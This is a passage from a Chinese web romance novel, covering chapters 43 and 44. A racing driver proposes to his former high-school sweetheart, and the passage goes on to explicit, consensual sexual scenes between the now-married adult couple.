一开始他所有的冷漠都是强撑的伪装,是他的骄傲自尊让他没办法那么快低头,只能努力制造出一个个巧合。
实际上,从来没有巧合,一切都是他蓄谋已久。
容微月眼底湿润,难怪给老师过生日那天,傅蔺征看到彭清时会那么吃醋;她在竞选会上被针对,他会发那么大的火;她被房东欺负,他二话不说就冲去揍人;还有后来他们同居后,他种种口是心非的照顾和维护。
甚至同学聚会那晚,当他误会她去相亲时,会在停车场爆发落泪。
她以为她提出结婚,是主动朝他走去一步,殊不知在她看不到的地方,他已经朝她走了一百步
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。
一股热意涌上心间,容微月声音轻颤:“我还以为你一开始对我冷漠,是因为恨我,甚至对我好也是为了报复我……”
傅蔺征不禁笑:“容微月,你就这么想我啊?我小心翼翼生怕吓跑了你。”
他指腹抹掉她眼泪:“我这个人虽然脾气恶劣了点,但还不至于那么记仇吧,我怎么会凭着恨记你那么多年?”
他俯身看她,喉间滚热,一字一句道;
“从十八岁到现在,我喜欢的第一个女生,是你,唯一一个,也是你。”
天地风雪俱寂,只剩灯火温柔,化在他眼底。
傅蔺征眼底光影发烫,深情如炙:
“我用分开的这六年,得出的唯一结论就是这辈子,我非你不可。”
“所以,容微月,不是重逢后重新爱上你,而是六年前到现在,我一直都爱你。”
那句再也不回头是嘴硬,也是冲动。
他对她,从来只有爱。
她心底震动,这时头顶传来“砰”的一声,一朵浅金色的烟花在夜空绽放,紧接着一朵又一朵,漫天团簇,如银河倾泻,照亮整个夜空。
如天边泛起了金色潮汐,容微月怔愣抬眸,被美到震撼,心如擂鼓,傅蔺征唇角提起:
“今晚,还有最后一个仪式。”
他握住她的手,领口:“不是一直好奇我脖子上的吊坠是什么?今天可以摘下来。”
容微月迷茫,帮他解下古巴链,拿下来看到吊坠的那一刻,猛地呆住。
“这是我们高中一起做过的戒指……”
她看着那对素戒,脑中空白:“分手那天你不是扔掉了吗?”
傅蔺征轻嗤笑:“老子扔掉的那一刻就后悔了,下大雨我脑子抽了扔到草坪里,后来你走了,我找了整整五个小时,才找回来。”
那天向来是天之骄子的他,为了找这枚对戒浑身湿透,手上沾满雨水污泥,狼狈而孑然。
“但也许,是因为我找到了这对戒指,所以我今天才能重新找回你。”
他倾其所有,终于失而复得了她。
傅蔺征举起她曾经那枚刻着月亮的素圈戒指,在她面前,单膝跪下:
“月月,我之前说过所有的我都会给你,结婚是你提的,所以我还欠你一个求婚。”
容微月视线朦胧,手被他温柔握住,傅蔺征抬起赤红的眸,单单望向她:
“哪怕知道答案,我还是要再问你一次——容微月,你愿意嫁给我吗?
让我傅蔺征成为你的先生,一辈子疼爱你,保护你,给你最美好的爱情,不管未来发生什么,让我紧紧牵住你的手,与你共度一日三餐,一年四季,永远爱你,直到生命结束的那一刻。”
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夜空漆黑烟火一簇簇接连盛开仿佛整片山巅都被光海淹没。
万千浪漫此刻都不及他眼底汹涌的爱意。
容微月看着他泪水扑簌点头弯起唇畔:
“我愿意。”
这是她这辈子永恒不变的回答。
她想和他看遍日出和日落看遍大海和雪景哪怕简**淡只要有他在身边都是日日欢喜。
听到她的回答傅蔺征笑着把那枚素圈戒指推入她右手的无名指。
他起身容微月泪水晶莹看向他:
“傅蔺征我也爱你……”
傅蔺征将她拉入怀中俯身落下炽烈的吻。
头顶
傅蔺征手箍住她后颈睁开眼眼底猩红低哑道:“再说一遍。”
容微月落着泪将所有心意诉说:“傅蔺征我爱你特别特别爱你……”
她紧紧抱住他:“以后不管发生什么再也不会松开你的手了。”
傅蔺征眼尾滑下滴泪胸口熨开热意:“能等到这个答案这辈子都值了。”
……
头顶的烟花放了许久。
是今天最美的夜色。
把所有尘封的爱意倾诉一吻结束容微月靠在傅蔺征怀中酒窝弯起:“傅蔺征今天是除了十八岁生日之外我这辈子最难忘的生日。”
傅蔺征眼底泛柔:“那我就争取以后每一年生日都让你很难忘。”
吃了点蛋糕她把那枚男士素戒戴到他手上软声道:“没想到你偷偷把这个对戒藏到现在放到今天我生日的时候求婚。”
他圈住她“惊喜么?”
她点点头弯唇:“你怎么那么会啊?一身招数都用在我身上了。”
傅蔺征眉梢吊起混坏嗓音贴在她耳边:“我会的还很多都能用在你身上。”
她羞赧嗔他俩人在观景平台待了许久最后傅蔺征带着她下楼侍者也见证了刚刚那场求婚都含笑投去祝福的目光。
傅蔺征问她:“今晚想在这里休息还是回家?”
容微月想了想“还是回家吧什么东西都没准备……”
嗯重要的东西是没准备。
“对了呼呼怎么办?这么晚了我们都没回家。”
“现在终于记起你儿子了啊?”
她脸热“我今天真忘记了……”
他笑抬手揉揉她发顶:“去学校接你之前我就让怀裕去小祖宗喂晚饭了放心饿不着。”
启动车子银黑色跑车驶下山。
路上容微月有点困就小眯了一会儿再度醒来时是傅蔺征把她抱下车“睡醒了公主?”
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第 43 章 一夜的暴雨预警
第43章第四十三章
【一夜的暴雨预警】
chapter43
花洒打开,水珠溅落在脚边,雾气氤氲而起,如走进了一片朦胧森林。
暖黄的灯光在水汽中折射出柔和的光晕,落在四围的瓷砖上,将一切隐在暗处。
被托起,小姑娘怕掉落,紧挂在他怀中,被抵在瓷砖上,迎着极烈的气息。
撬开齿关,如蛇交织藤蔓,傅蔺征扣住她的脸颊,肆意强势,电花从心口一路蔓延至身骨。
容微月眼前被雾汽弥漫,看不清明,只有男人硬朗宽阔的肩背和高大的身影像一堵沉沉压下的墙,将她完全困住,带着无可抵抗的力量感和体型差。
像张未展的宣纸,被一层层渗染,纤薄得指尖轻轻一碰,便要散成烟雨。
抽刀断水,毫无怜惜,耳膜尖锐的蜂鸣渐大,她面颊一点点晕开红晕,如小猫反弓背,泪花滢滢,戴着婚戒的指节在男人肩头留下爪印:
“傅蔺征……”
男人把她唇瓣咬得红软,指腹拨开她贝齿,喑哑笑哄:“放松,一周没有就咬得这么死?”
听出话中之意,她温吞抽噎:“我放松了……”
傅蔺征勾唇把她搂紧,跟哄小朋友一样:“我知道宝宝已经尽力了。”
他沉哑气息如砂砾擦着耳畔:“但你这样都适应不了,等会儿怎么办?”
容微月心脏如撒了把蓝莓口味的跳跳糖,眨巴着挂着泪珠的睫毛看向他:“肯定要吃撑了……”
哪有人吃早餐的时候,是只烘烤两片小小的奶香面包,然后配上一大个腿肠呢,明显不均衡QAQ……
傅蔺征眼底晕开笑意,喉结滚动,薄唇在她耳边喷热:“没事,以后每天都吃,胃口被养大点就好了,好不好?”
容微月耳根烧红,“才不要……”
嘴硬的后果,就是被惩罚说实话,半晌她眼泪扑簌簌的掉,抱住他脖子求饶,傅蔺征掐住她下巴,扯唇:“这么喜欢还说不要?”
男人此刻还穿着衬衣,水打在高大的他身上,勾勒出硬朗的身材,肌肉纹理浮现,他握住她指尖放到纽扣上,哄她:“继续,活都还没干完。”
容微月被他一下下吻着,脑袋里开始做起一团糯米糍,软乎乎晕乎乎,全听指示。
一颗,两颗,直到衣襟敞到胸膛处,她看到一处,视线顿住。
灯光和水珠淌过,男人的胸膛刻着一抹深色刺青——
是一弯纤细的月牙。
月牙凹陷处上刻着个字母“R”。
旁边还刻几个字母:LunaMia.
容微月眼底一震,“这是……”
傅蔺征低头看
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她,唇角勾起:“终于看到了?”
容微月眼睫微颤,冷了出来:“这图案是之前你刻在左手腕口上的刺青……”
“嗯,手上的洗掉了,后来把它纹在了这里。”
最初傅蔺征在手上刻下个月亮,是因为容微月的左手相同位置有个同样的月亮疤痕,刚分手后,他狠心冲动地把腕口的刺青洗掉,可他们在一起的纪念日那天,他在意大利蒙扎比完赛喝醉了,就带着那幅图去了刺青店,说纹在胸口。
容微月眼底酸涩:“之前我看到你的左手,看到不见了,以为这代表你早就忘了我了……”
傅蔺征俯身亲她的鼻尖,嗓音灼哑:
“怎么没有忘掉,只是把月亮移到了离心脏最近的位置。”
他后来才知道,很多东西就算外表洗掉,也掩盖不住,哪怕他后来去到国外读大学,在世界各地比赛,看过世界各样的山和水,也掩盖不了心底那抹月亮的存在。
他骗得了自己的理智,但骗不了自己的心。
容微月鼻尖发酸,心也被针线密密麻麻刺过,涌起感动:“这个字母是什么意思?”
傅蔺征温柔吻她眉眼:
“LunaMia——意大利语,我的月亮。”
他对上她莹润的眼,哑声道:
“现在,月亮终于属于我了。”
容微月眼尾滑下泪珠,红红的眼尾弯起:“一直都是你的……”
她主动垫脚再度吻上他,唇齿碾转,半晌烈升甚甚,傅蔺征没多少耐心,关掉花洒,抱着她放到盥洗台上,给她裹上浴巾。
小姑娘乖乖的,漉漉杏眸纯纯望着他,柔软如藻的黑发被蒸汽沾着贴在脸颊,肌肤白如凝雪,那颗红痣泛着暖光,像是乖乖等候他支配。
傅蔺征心底燥得不行,看她这样又不忍心欺负了,低头忍不住亲她:“宝宝你怎么那么像小猫啊,可爱**。”
她眼尾羞赧弯起,“你的小猫呀……”
傅蔺征啄她脸颊,容微月也给他擦着水珠,在清晰的灯光下,她突然发现他背部和靠肩处有几道的条状疤痕,狞狰可怖,仿佛带着撕裂的疼。
这是高中毕业那时候都没有的,她诧异:“这是怎么了?”
傅蔺征视线顿了顿,淡淡道;“没事,训练留下的。”
可那疤痕也太明显了,他从前大大小小的伤也从未是这样,她感觉不对劲:“这怎么受伤的?这什么训练能训练成这样啊,疼不疼?”
他掰正她脸,“行了,别看了很丑。”
他看她拧眉头,笑得漫不经心:“早就不疼了,怎么,这么心疼我啊?”
她眼酸瘪嘴:“当然心疼了……”
傅蔺征懒洋洋笑逗她:“早知
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道苦肉计这么有用,当初你住进来第一天晚上,老子就该光着膀子在你面前晃悠,说不定你心疼得一把鼻涕一把泪的,更早和我结婚我。”
容微月忍不住笑,傲娇:“你那是流氓,那时候我才不管你呢。”
他俯脸咬莹盈:“不管?”
她呜咽了声,紧紧攀住他肩膀才不至于往后倒,傅蔺征眼底沉沉,一把抱起她往外走。
卧室暖气打得很足,柔黄的灯在柔雾光晕里散开,将整间屋子变得静谧而温暖。
深夜的京市早已寂静,窗外寒风呼啸,似乎下起了雨,夜色茫茫,远处高楼的霓虹光影渐淡下去。
落地窗把外界和室内的暖意隔开一道清冷的界限,屋内和屋内,是两个截然相反的世界。
容微月被扔到在云朵中,弹了一弹,就很快被倾笼罩覆,傅蔺征沸灼的吻汹狠落下。
宛若盛夏午后窗外的热气萦绕,容微月就感觉自己像是掉入狼窝,这人比高中还恐怖,面容如红灯映雪,嗔他:“我后悔了……”
“嗯?”
“我刚刚应该和你说医生不同意的。”
傅蔺征嗤笑了声,眸光沉沉:“你以为躲得过初一,还能躲过十五啊?”
这不是迟早的事?
男人黑眸明晃晃带着渴,像一头要咬破兔子喉管的凶狠的狼,声音嘶哑:“知不知道出差这七天,我每天晚上都在想什么?”
她羞赧:“想什么……”
变成蝴蝶,傅蔺征的黑痣若即若离被濡染,他气音哑到极致:“当然都在想今晚该怎么*你,但再怎么想都忍着,全攒下来了。”
重装上阵,**充足,只为今晚攻城。
容微月都难以想象,试图唤醒这人的良知,软声提醒:“傅蔺征,我会死的……”
男人唇角挑起,薄唇轻啄她覆了汗珠的鼻尖,声线暗哑:“宝贝,不会真的死,只会…….”
带着四个交叉的汉字在她耳根炸开,透开绯色,傅蔺征再度吻了下来。
最心爱的人就在眼前,是阔别六年的宝贝,是重逢后拼了命努力追回来的,他心头最深最深的挚爱。
他极富耐心,俯首称臣。
利刃之于羽毛,强势交织温柔,将一分一秒变得长绵又难捱。
室外雨声越来越密集,雨珠连成千万根银线,重重拍打在落地窗上。
顶楼的大平层仿佛悬在半空,四周被风雨包围,像一叶孤舟行驶在深海,澎湃涌荡。
容微月耳畔渍声明显,她想躲却被困住,眼底被蒙上一层雾。
半晌思绪被刀狠狠斩断,她咬着被子,如蚂蚁啃骨头,细细痒痒,哭出来。
再度被他揽进怀里,她唤他的声音软得像蜜糖一般:
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“傅蔺征……好喜欢你特别特别喜欢你……”
男人低笑就没见过比她更可爱的舔了舔唇:“喜欢我啊?喜欢哪里?”
“都喜欢……”
“现在最喜欢哪儿?”
她视线落去傅蔺征明知故问她羞地咬了口他喉结像只炸毛的小猫可还是被哄着说了两个字。
傅蔺征闻言黑眸滚沉到达边缘搂住她倾身拉开抽屉。
昏黄的灯光下堆积如山。
每次看到都是冲击力巨大让人害怕。
容微月心跟咬了口蝴蝶酥似的软声咕哝:“有很多我们之前用过的……”
傅蔺征气息重了几分“都是你曾经说好用的
他到底记得她多少事……
他亲她耳垂:“宝宝还有些新的款式我们都试试好不好?”
她害怕:“试不过来的……”
“不是有一个月?”
她说他目标太大他单手操作声线磁哑:“以我们之前的频率这些用完不是很正常?”
“那不一定”她软声嗫嚅“那毕竟是你年轻的时候现在谁知道还能不能比得过当年呢。”
“?”
哪个男人能受得了这种话胜负欲瞬间**傅蔺征气笑咬她耳垂:“容微月你等着今晚哭成什么样都别求老子。”
外头雨声依旧灯影透过玻璃折射出碎光宛若要冲破了落地窗将人溺淹。
须臾几秒又像是过了一个世纪那么漫长她心跳如鼓手抵着他肩头试图推开眼尾冒泪花“傅蔺征……”
他也是难捱额头渗出薄汗先安抚她“怎么了?”
“不、不匹配。”
傅蔺征笑了唇擦过她耳畔:“哪里不匹配?”
她面颊烧红“你太……”
外头雨点骤然加重像是替她没说完的话敲打在窗上男人搂住她笑意更深喟叹:“之前都配得好好的不都口乞过那么多次了么?”
可毕竟隔了六年一切仿佛还和一开始一样。
即使已经足够但客观条件摆在那儿两者差距过大还是让人害怕。
傅蔺征亲吻她眉眼低笑蛊着:“宝宝万事开头难磨一下就好了。”
唔……
容微月面颊如被晚霞染透眼尾一点点被他独独倒映着她的眸染红。
暖光柔和爱意铺天盖地笼罩。
眼前景象都慢慢变得虚化。
一切都失了声只剩下他们近在咫尺的心跳。
整整阔别了六年。
从分离到结婚再到此刻所有的遗憾失去的痛苦过往两千多个日日夜夜的思念和生命中缺少的空白都在今晚被一点点
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填满。
只剩下彼此,傅蔺征漆黑的眸染上猩红,温柔抚开她脸上的碎发,嗓音哑到极致,忍不住喟叹:“月月,好爱你。”
容微月听到他的话,过往的一幕幕在脑中闪过,澄澈看他:“我也爱你……”
外头风暴骤起,风声回荡,封闭的室内空气逐渐稀薄,半晌一切从胀转空。
男人偏偏慢条斯理,小猫咪要吃小鱼干,饿得喵喵叫,他勾唇哑声揶揄:“现在适应了?”
她想动,却被牢牢被按住,小姑娘眼眶泛红,委屈巴巴,“不跟你好了……”
傅蔺征极坏:“叫我什么?叫对了才给。”
容微月抵不过他,软声道:“老公……”
她细软的声线像被放入烤箱的棉花糖,甜腻得化在心头。
现在从内到外,她都完全属于他。
没有什么,比此刻的两个字更加令人理智寸断。
趁火**,哄她叫了好几遍,傅蔺征漆黑眼尾收拢,心头烈火烹油,吻密匝砸下:“老公给你。”
世界翻叠巅荡,秩序尽失。
海面狂风呼啸,室外轰隆隆传来雷声,风暴在隐秘处对撞。
六年的爱意。
此刻化为最具象的表达。
时间缓缓走过,分针悄然走过大半圈,容微月落泪的脸埋进枕头,一瓶刚酿的青梅酒被打开木塞,be的一声,甜香馥郁,溢满空气。
后背贴来覆着薄汗的胸膛,她的脸被掰着转过来,傅蔺征极凶的呼吸就寻了过来。
阔别了六年。
曾经有的都未少,甚至更甚。
仿佛从骨到肤,小姑娘被男人翻身搂进怀中,傅蔺征指腹抹去她眼泪,逗问:“喜欢么?”
容微月从耳根红到了脖子,哭哭啼啼:“要坏了。”
傅蔺征咬她耳垂,格外浑坏:“老子都说厚乳你撑不了多久,谁叫你非要玩?”
“啪嗒”一声,垃圾桶被投进,傅蔺征又打开抽屉,她脑中嗡嗡:“傅蔺征,你能不能缓缓……”
傅蔺征把她抱起来,唇角弧度野痞:“缓不了,你刚刚不是说我不如六年前?那就看看老子现在到底是什么水平。”
雨点正密集地拍打落地窗,昏黄灯光映照下,留下一道道长痕。
傅蔺征拿出手机,屏幕冷白的光映在他深邃锐利的眉骨上,看向她:
“记个时,最少五分钟,没到就惩罚。”
?
早说欠了的都要还,没想到这人这么锱铢必较,她泪眼汪汪:“五分钟太久了……”
他掌心箍住她下巴,笑:“你一分钟都达不到是么?”
求饶没用,傅蔺征把她背对着抱起,往镜子前走去,赤烈气息喷洒在她耳边:
“那没
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办法,宝宝只能接受惩罚了。”
窗外风雨依旧,漆黑沉夜中光影柔散,小姑娘手扶住镜子,就再度被沸热情网卷入。
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禾盛庭3401发布了一夜的暴雨预警。
时针从夜里十点,转向翌日清晨四点,卧室里的昏黄的灯才熄灭。
漆黑的天边泛起一抹浅白。
灰暗和淡金交织,驱散夜的残影。
日光渐亮,城市的轮廓逐渐清晰,高楼的剪影在寒雾里浮现,室内余温未散,暖意浮散在空气中。
城池尽失,小姑娘几乎是晕过去的状态,举小白旗投降,傅蔺征抱她去清洗。
房间里乱糟糟的一片,门口是大衣,沙发地毯上是抱枕和空盒子,镜子下掉落着领带,特别的甜味飘散,任谁进来都知道发生了什么,肯定是睡不了了。
躺到隔壁时,小姑娘已经在他怀中熟睡了。
下次睁开眼,已经到了第二天快中午。
她从迷迷糊糊的梦中醒来,外头天色灰茫透白,跟**玻璃似的,宛若一个全新的世界。
娇美人儿翻了个面,另一面已经焦黄,熟了。
准确来说是粉焦了QAQ.
她想爬起来,谁知道刚坐起身,腰就酸得往后一跌,
起来。
再起来。
白绒绒的小猫咪如鲤鱼打挺尝试着,扑腾了几下都没成功。
呜呜呜好酸……
身上骨头都失去了控制权qwq……
很快房间门被打开,罪魁祸首走进来,就看到小姑娘正生无可恋趴着看向窗外,如瀑的长发贴在纤薄白皙的后脊背上,肌肤如骨瓷细腻,唇瓣釉了层嫣色,又纯又媚,让人又口干舌燥。
容微月转头看到他,男人身上深灰色家居**衫和黑裤,桀骜散漫,肌肉线条明显,透着力量感。
昨晚的回忆再度涌来。
昨晚他们怎么比高中的时候更加……
吃了含了,她脸颊后知后觉有点发红,又点羞有点甜又有点气,不知道该作何反应,干脆脑袋钻进被子里。
傅蔺征被可爱得不禁笑了,很快容微月就感觉他上来,把她从背后揽进怀中:
“躲什么,害羞了?”
昨晚房间的每一处傅蔺征都带着她去过。
容微月终于见到了一头饿了好久的狼有多恐怖,前段时间她所有的招惹被彻底清算,加倍讨回。
男人嗓音低撩,容微月耳根跟刚出炉的桃酥似的,傲娇轻哼:“你松开手,我不要你抱。”
“不松,你要我松我就松?”
容微月被翻了过来,傅蔺征看她微微鼓腮
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的模样,被他家宝贝可爱到了,笑着帮她按摩:“累到了?”
“我刚刚试了好久都坐不起来……
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”
她跟跑了马拉松似的,靠在她怀中,见他一脸气定神闲似乎还没饱,“你都不累吗?”
男人挑眉:“就这体力消耗跟我平时训练比得了?是你缺乏锻炼。”
“……”
哪个好人一下子锻炼六七个小时啊?
她指尖抚着他胸膛的月亮纹身,咕哝揶揄:“你就算不累你也虚,今天要好好补补。”
他垂眼虎视眈眈:“我怎么虚?”
容微月想起昨晚桶里那触目惊心的战绩,脸颊酡红:“你昨晚…那么多次,dan尽粮绝,肯定虚……”
她都没想到他那么多,真的好恐怖。
后来他快了就扯开直接,她身上,镜子上和沙发上都是。
傅蔺征喉结滚动,揉揉她肚子,嗓音浑坏追问:
“宝贝,要是昨晚没…,都……里面,会不会就有了?”
容微月不禁想象起那个画面,羞得水眸潋滟,可偏偏也是个不怕的,朝他吐气如兰:
“试试不是就知道了?”
胆子真是够大的。
傅蔺征重重索吻直至她讨饶,“还敢招惹我?”
“我错了……”
到底怕她累着,傅蔺征不闹她,随后拿起点外卖来的药膏,她看到,“这是什么?”
“药,”他嗓音喑哑,“涂那儿的,都zhong成那样了。”
她羞道:“我自己涂吧……”
“躺好,你能看得见?”傅蔺征舌抵了抵上颚,浑得很,“而且罪魁祸首不得负责?”
容微月面颊红成石榴,傅蔺征涂着,黑眸暗暗,舔了舔唇,哑声喟叹:“这么小都能把我…进去,宝宝怎么那么棒啊。”
她捂住他的嘴,“你不许说了……”
这人都不害臊的吗!
他笑,“这不是事实?很匹配。”
能吃下的,也是天赋异禀,容微月也不知道自己怎么就可以,无论他怎么凶,她都能用温柔包裹,让他yu生yu死。
眼瞧着又要不对劲起来,他强制自己收敛,涂完药,就把小姑娘重新搂进怀中,容微月想到种种被他玩出花儿来的,不仅揶揄:“傅蔺征,你这几年是不是在谁那儿精进了?”
傅蔺征脸黑,捏她脸,“我去哪儿精进?你再胡说八道试试?”
容微月压下唇角,“短暂风流过一段,也不是不行,我同意的。”
他把她头发揉乱,气笑拽道:“老子空窗整整六年,洁身自好,其他女人的手碰都没碰过,纯属天赋异禀,全方位的强,懂么?”
“……”
从各方面来看,的确都是……
容微月努嘴:“你强不强不是自己说了算,是我说了算,戒骄戒躁,继续努力,我要给你评分的。”
你的朋友正在书荒,快去帮帮他吧
他把她抓来“行啊那再努力一次?”
她瞬间怂得求饶傅蔺征就知道她就这尿性抱她去洗漱。
从浴室出来她回主卧换上新睡裙傅蔺征问她想吃什么她说简单吃点意大利面就好他挑眉悠悠然道:“这还不容易我去煮。”
“……”
她不禁笑看他那样以为要煮满汉全席似的。
他离开容微月扫视着房间发现已经被傅蔺征清洁过了四件套也换了地毯也被拿出去了甚至沙发布套也换了新的。
昨晚真的是……
羞得没眼看她护肤完处理了下工作
呼呼摇着脑袋表示喜欢妈妈。
抱着它她磨磨蹭蹭过去傅蔺征在洗水果闻声抬眼看来调侃:
“这么酸啊?走路都一瘸一拐了?”
“……”
她羞得不回答他走到他旁边把呼呼放在料理台上“你什么时候煮好呀?”
“拌个水果沙拉就好饿了?”
“当然了累饿了……”
傅蔺征笑宽大身躯从后圈住她先给她喂了点水果垫垫肚子“今天什么安排?不用去工作室?”
“可以休息一天这两天没那么忙。”
“我下午要去车场训练。”
“你还有力气开车啊?”
傅蔺征含笑喑哑声音擦过她耳畔:“你说开什么车?”
“唔……”
“放心两个车我都有力气开。”
容微月脸红才不附和他傅蔺征正儿八经问:“那你下午要不要和我一起?”
“嗯?”
傅蔺征吊儿郎当的语气带着一点不爽:“结婚这么久傅太太不该来我训练的地方视察一下?那帮人天天幸灾乐祸问我追到你没有老子都想把结婚证盖他们头上。”
那次容微月胃痛发作傅蔺征抱着她去了车场医务室车队里的人都传开了知道征哥的初恋又出现在他生命里只是后来微月一直没露面大家心里都憋着好奇不知道俩人的状态。
容微月靠在他怀中明眸弯弯:“你没有告诉他们我们结婚啦?我以为你会忍不住的。”
“一开始是想说但觉得还是带着你去更能带给他们震撼。”
容微月莞尔其实也觉得自己对他的生活和工作参与太少她也想多了解“好呀那下午我陪你去训练。”
于是中午吃过午饭两人简单休息了下傅蔺征开着布加迪带她去往京郊的训练场。
窗外凉风阵阵两人聊着天格外甜蜜。
一个多小时后布加迪驶上
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半山腰远远就能听到低沉的赛车轰鸣声在山谷缭绕容微月问:“是有人在开赛车吗?”
“嗯我们的后备车手在训练。”
傅蔺征这几年比赛参加的比较少更多是退居幕后培养更多的中国年轻人。
过了会儿车子停在训练场门口两人下了车走进去随后有两位年轻机械组技师就看到傅蔺征牵着个女人震惊:“征哥这是……?”
傅蔺征勾着眉梢揽住容微月懒洋洋道:“这还用问么?叫嫂子。”
天哪???!!!
技师们连忙道:“嫂子好嫂子好!!!”
容微月向来内向腼腆莞尔问好俩人一转身就冲去在整个车队广而告之:
“各位征哥带嫂子来了!!”
好多人围过来:“**真的假的?!征哥带女人来了!”
“你们过去看真的!”
“是微月姐吗?!”
“不知道我也是第一次见但是超级漂亮身材又好而且笑起来好甜好温柔!”
“你们没看到征哥那表情整个人跟开屏的孔雀似的拿世冠都没见他这么嘚瑟过!”
“那肯定是微月姐了哈哈哈!他高中时候追到人家就这么嘚瑟啊快走快走去看看!”
几乎是全车队的人都倾巢而出那头办公室里傅蔺征换上一套赛车服衣服裁剪贴合勾勒出他肩背的宽阔与利落的腰线修长的双腿笔直昭示着爆棚的力量感。
容微月心脏扑通扑通跳揉着脸颊:“感觉你车队的人好激动呀……”
傅蔺征笑了笑俯身在她唇上落下一吻:“这么多年了我身边终于出现个女的他们能不激动?反正很多人你见过他们起哄你太害羞就躲我怀里。”
“?”
那她不是要更害羞了……
随后傅蔺征牵着她走出办公室一窝蜂车队成员都跑过来有人眼尖认出激动得声音都变了调:
“真的是微月姐!!还是原来的嫂子!”
“嫂子整整六年你总算回来了!我们太想你了!”
“征爷你真的追妻成功了?!”
傅蔺征搂住容微月笑得风流云散:“怎么这不是意料之中的事?”
大家说他嘚瑟起来了容微月看着好几个熟悉的面孔想到六年前她也是被傅蔺征带来这里车队队员对她很友善还会给她分很多小零食很多人都比她年纪大就把她当妹妹。
那些美好的如今不再只是回忆。
容微月弯起唇畔朝大家笑:“好久不见我回来了。”
大家高兴:“前阵子征哥抱着嫂子去医务室我们还以为是他铁树开花了没想到还是
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第 44 章 “宝贝,帮我量一量?”...
第44章第四十四章
【“宝贝,帮我量一量?】
chapter44
临近傍晚,山顶被一层淡淡的暮光笼罩,天地辽阔,几株挺拔的松柏伫立,一阵风吹过,深绿色的树叶簌簌摇曳。
空旷与静谧中,草坪上静静停着辆超跑,布加迪墨炭黑色低矮蛰伏,车身线条凛冽帅气,做了特殊防窥材质的玻璃,将车内的一切笼罩在秘境中。
浅樱色的苏式旗袍和白色小花被副驾驶座拥抱,=千雪消融的画卷显现眼前。
桃绯浅浅,是昨夜的缘故。
傅蔺征红了眼睛,薄唇贴上她耳垂,再度低哄,小姑娘闻言耳根酡红,好害羞,却还是难抗涌来的爱意。
昨晚那几个小时根本不够。
她也想要更多更多……
被赋予主动权,她咬着唇,肘窝勾着膝盖窝,蝴蝶飞跃而起,指尖拨开云雾中的洇盈月亮,靠着方向盘,眼圈红得跟小兔子一样,纯净无辜地看他:
“老公……
操,一瞬间,傅蔺征彻底疯了。
谁能够抵抗得了此刻的她。
所有的钱,权,名利地位,亦或是在赛车上所有的成就,都抵不过她带给他的一切。
好想si在她shen上。
傅蔺征宽大掌心箍住她,气息重重覆了上去,像狼叼住了无处可逃的兔子,咬破喉管,带着掠食者的狠意,她心跳怦怦,细软呼吸全被他攫走。
小姑娘是一家烤肠店的老顾客,昨晚店铺重新开业,她深夜多次光顾,买了好几次,有了经验,今天一开门,她就看到滚烤架上烤炙的热狗新鲜出炉,热气腾腾,她不怕烫得一口轻车熟路地吃了下去。
好大,硬的焦皮咬开爆汁,还有嚼劲。
老板进的货越来越好了……
旖旎升温,车外风声猎猎,山顶寒风呼啸,树叶沙沙作响,几颗老柿子树上的零星果子掉了下来,滚落到树下烈震的布加迪旁。
四远处山峦重叠,暮色渐深,超跑却仿佛处在风暴中心,砰訇翻起。
傅蔺征和昨晚不同,没有慢条斯理,没有温柔过渡,几乎是一下子把进度条拉到最后方。
容微月知道自己撩过了,葱白指尖紧紧抓着男人掐住她的鼓蓬双臂,掉下眼泪:“傅蔺征……
试图求他心软,可却遭变本加厉的对待,傅蔺征眼底赤猩烈红,嗓音灼哑:“宝宝,你别再叫了,你再叫我真的会*死你。
容微月此刻才知道,现在才是他真实的模样。
外人眼中的京圈傅大少爷,性子向来疯烈,什么都敢玩,在赛车上是这样,在任何事上也是如此,昨晚是顾及她阔别已久不适
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应才收敛了三分。
此刻他进攻性**让她毫无退路可言。
周围一切都是温柔的静景。
风声轻轻其他的声音就格外突兀。
山顶宛若隔离在世界之外是神秘的一隅私地。
四处有些荒凉若是有人经过就能看到树下的那辆底盘极稳的布加迪特别奇怪明眼人就知道发生了什么。
小姑娘从靠着方向盘到怀中抱着再到背靠着驾驶座四千万的布加迪牌摇摇车她今儿也算是坐上了。
分针转过半圈夕阳渐落天色染成青灰山脚的湖面倒映着将熄未熄的霞光像星光撒落人间。
热气拂到车玻璃上慢慢晕散。
空气中馥郁开清甜的气息。
风声轻轻小猫咪面对坐在怀中被身型宽大的男人抱着像是从白桃海里捞上来红唇被衔吻着好半晌傅蔺征看着视线还空空的她低笑吻掉她泪珠:
“还没缓过来?陡得跟过了电似的。”
容微月也不知道自己会这样好半天思绪回笼害羞靠在他怀中。
傅蔺征勾唇浑坏问:“怎么样好吃么?”
买了热狗小姑娘来上了节面包烹饪教学课白软软的面包被切开一刀抹了层黄油夹入热狗一起放进烤箱面包被考得逐渐膨松柔软最后外表油亮亮的咬开一口里头冒着热气热狗还是会拉丝的芝士夹心。
她圈住男人脖子咬着唇咕哝:“好吃……还想再吃。”
怎么还那么调皮
她狡黠弯眉:“你来不及了还要去训练……”
傅蔺征扯唇:“现在没时间你以为今晚没有?我带你再上来。”
容微月耳根通红嗔这人回家不行吗傅蔺征勾唇亲了亲她鼻尖低声喟叹:“宝宝在车里真的不一样好喜欢*到炸了。”
六年前不是没有过但今天比六年前更加美妙。
男人搂着她耳垂坏得要命:“以后我的每辆车我们都来好不好?”
好想让他所有的车都被她标记。
她羞得不行才不让他得逞低头看着还觉得有点羞:“怎么办你的车……”
他一点无所谓“没事我等会儿处理。”
傅蔺征啄啄她鼻尖把她抱起来察觉什么眼底暗下哑然叫她:“宝宝。”
“嗯?”
“…破了。”
她懵然傅蔺征眉峰拧起亲她脸颊:“应该是刚刚太用力了。”
唔……
她整张脸羞红傅蔺征抽过纸巾芝士夹心好多好多啪嗒啪嗒的。
她羞得不知所措乖乖
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地任由他摆布,男人看着眼底渐浑,可心头更多是愧疚,低声道歉,“这质量不好,以后不用了。”
容微月看他担忧愧疚的模样,软声道:“安全期,应该没事的……就算有事,我们也结婚了呀。”
如果真有,那就生下来。
但傅蔺征舍不得她这么早怀宝宝,她身体还没被养好。
给她盖好毛毯,又喂了点红茶,傅蔺征才启动车子,带她回到训练场。
下了车,小姑娘都走不动,傅蔺征笑:“怎么这么没出息啊?”
“那还不是都怪你……”
“嗯,怪我,以后多锻炼就好了。”
把她抱起,傅蔺征往车场里走去,她懒洋洋靠在他怀中,身上被他厚厚的长款外套盖住,看不出异样。
车队的人路过看到,疑惑:“征哥,嫂子怎么了?”
傅蔺征单手托着她,淡淡道:
“没事,身体不舒服。”
